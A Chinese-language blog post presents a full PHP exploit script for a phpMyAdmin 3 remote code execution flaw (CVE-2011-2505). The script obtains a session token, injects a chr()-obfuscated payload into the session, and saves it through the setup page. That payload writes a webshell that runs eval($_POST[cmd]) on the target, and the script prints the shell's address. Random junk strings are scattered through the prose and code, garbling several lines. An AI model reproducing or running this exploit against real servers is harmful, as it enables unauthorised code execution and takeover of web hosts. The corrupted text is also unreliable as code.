phpadmin3 remote code execute php版本exploit

admin

最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。

昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。
7 o& w+ g- R" |2 X- G
$ ^' d4 I0 S0 H2 a首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
1 t7 D2 e6 ~9 ]$ ~: _一是session.auto_start = 1；
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。

在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。

( q  K- R$ `6 ^. ~于是写了这个php版本的exp，代码如下：

, E2 ~" N5 i+ g8 v! ^- a( @7 l/ k8 Q#!/usr/bin/php
- w- t9 c+ ?9 Z<?php
" j0 Q8 H8 F1 jprint_r('
5 F# H4 T# M4 ]8 v+---------------------------------------------------------------------------+
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
& p/ l" j5 z+ }: `; S$ p! O% ]by oldjun(www.oldjun.com)
9 T5 Z) ?! Z  y: q2 x# n/ M* Awelcome to www.t00ls.net
5 ]2 G9 \  ~, r7 O: K' d. {7 Cmail: oldjun@gmail.com
4 V7 b, [9 _' T$ ?Assigned CVE id: CVE-2011-2505
+---------------------------------------------------------------------------+
');

/**
9 `1 r. |6 Q2 r2 Y7 W * working when the directory:"config" exists and is writeable.
/ `' R4 c# U, j7 T. d' T**/
! L; _) e: Z; [: L
' c. m' E! ?$ S; ~4 u9 `% vif ($argc < 3) {
" Z: j. \; k+ H2 |    print_r('
. @7 w3 `4 m" _) K9 ]" a+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
$ c( a9 m3 |1 p& F, K9 Zhost:      target server (ip/hostname)
$ j# [4 N3 ^9 }- Q* g- F, wpath:      path to pma3
  M0 m7 v, o9 I( cExample:
php '.$argv[0].' localhost /pma/
+---------------------------------------------------------------------------+
');
0 K$ H; @5 I# g& K/ t1 n    exit;
}
! c7 _% h! |! y- ]+ U( R
' C2 j1 ^6 S! R& w3 V; f' t! P$host = $argv[1];
) T3 e% b* E, P$ L4 H: [) T" s$path = $argv[2];

/**
* m' J! T3 X0 h% W) t5 f; U) b * Try to determine if the directory:"config" exists
**/
echo "[+] Try to determine if the directory:config exists....\n";
# t) q7 M2 ~* u$returnstr=php_request('config/');
if(strpos($returnstr,'404')){
    exit("[-] Exploit Failed! The directory:config do not exists!\n");
}
% l8 I: m; U9 I4 n1 S/ r2 G
/**
4 n; |" O6 G. Y+ E" b! a$ ` * Try to get token and sessionid
. n& m9 G! s" R# n**/
8 @8 ]/ n" L* g( recho "[+] Try to get token and sessionid....\n";
$result=php_request('index.php');
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
) b* |3 R5 k% W) t/ {$token=$resp[3];
$sessionid=$resp[1];
1 n  w5 y) X% b" }* X: bif($token && $sessionid){
1 L0 _; a5 w$ v; X/ O3 P  K+ |    echo "[+] tokentoken\n";
    echo "[+] Session IDsessionid\n";
* [' q# d2 \2 v}else{
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
% I4 G2 l! w! w}
$ P. g6 S* d- x$ m2 f3 g$ H7 k
& \! P, c. R. [- E' Q/**
: s/ `7 ~; u6 b0 z) S9 k * Try to insert shell into session
**/
echo "[+] Try to insert shell into session....\n";
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
, a1 X" W2 k0 z7 o7 l. v) \& s
/**
* Try to create webshell
: t6 i5 _4 N' C4 N# t3 a* g0 j6 u**/
. |9 s, T2 x* oecho "[+] Try to create webshell....\n";
2 k, e5 P$ M; q9 ?php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
/**
0 ]) h# Z" b2 z * Try to check if the webshell was created successfully
**/
" V& |1 j: n) W) Y$ z2 Becho "[+] Try to check if the webshell was created successfully....\n";
. }: A' G, C; r% U6 I$content=php_request('config/config.inc.php');
0 }6 j; {  V5 \# x: m7 Lif(strpos($content,'t00ls')){
    echo "[+] Congratulations! Expoilt successfully....\n";
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
8 ]8 p4 i  F* I1 r- F8 H}else{
8 {# z% X* _/ p    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
}
! o+ Z! g) L$ i  N$ X
function php_request($url,$data='',$cookie=''){
    global  $host, $path;
  o6 W2 ?/ X; K) r1 G3 H6 m   
    $method=$data?'POST':'GET';
   
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
7 I7 {" @9 r8 y4 k' N6 t  _" U, r    $packet .= "Accept: */*\r\n";
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
1 C7 e8 B6 f" s$ E    $packet .= "Host: $host\r\n";
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
  x0 k% T+ W, M- s! K1 Y2 O) @1 c    $packet .= $cookie?"Cookie: $cookie\r\n":"";
    $packet .= "Connection: Close\r\n\r\n";
    $packet .= $data?$data:"";
8 S) U, Y8 d$ A0 w/ X' x% o
  v. M( J4 y4 q3 @( a9 I- Z    $fp = fsockopen(gethostbyname($host), 80);
    if (!$fp) {
2 [+ |. F$ `8 M& k, q* Z$ ^    echo 'No response from '.$host; die;
    }
    fputs($fp, $packet);

    $resp = '';

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
( _/ g2 f7 ?1 K+ I" n}
/ _+ d( g5 m4 c! ?   
- ]* E# z4 ]: E; L?>
.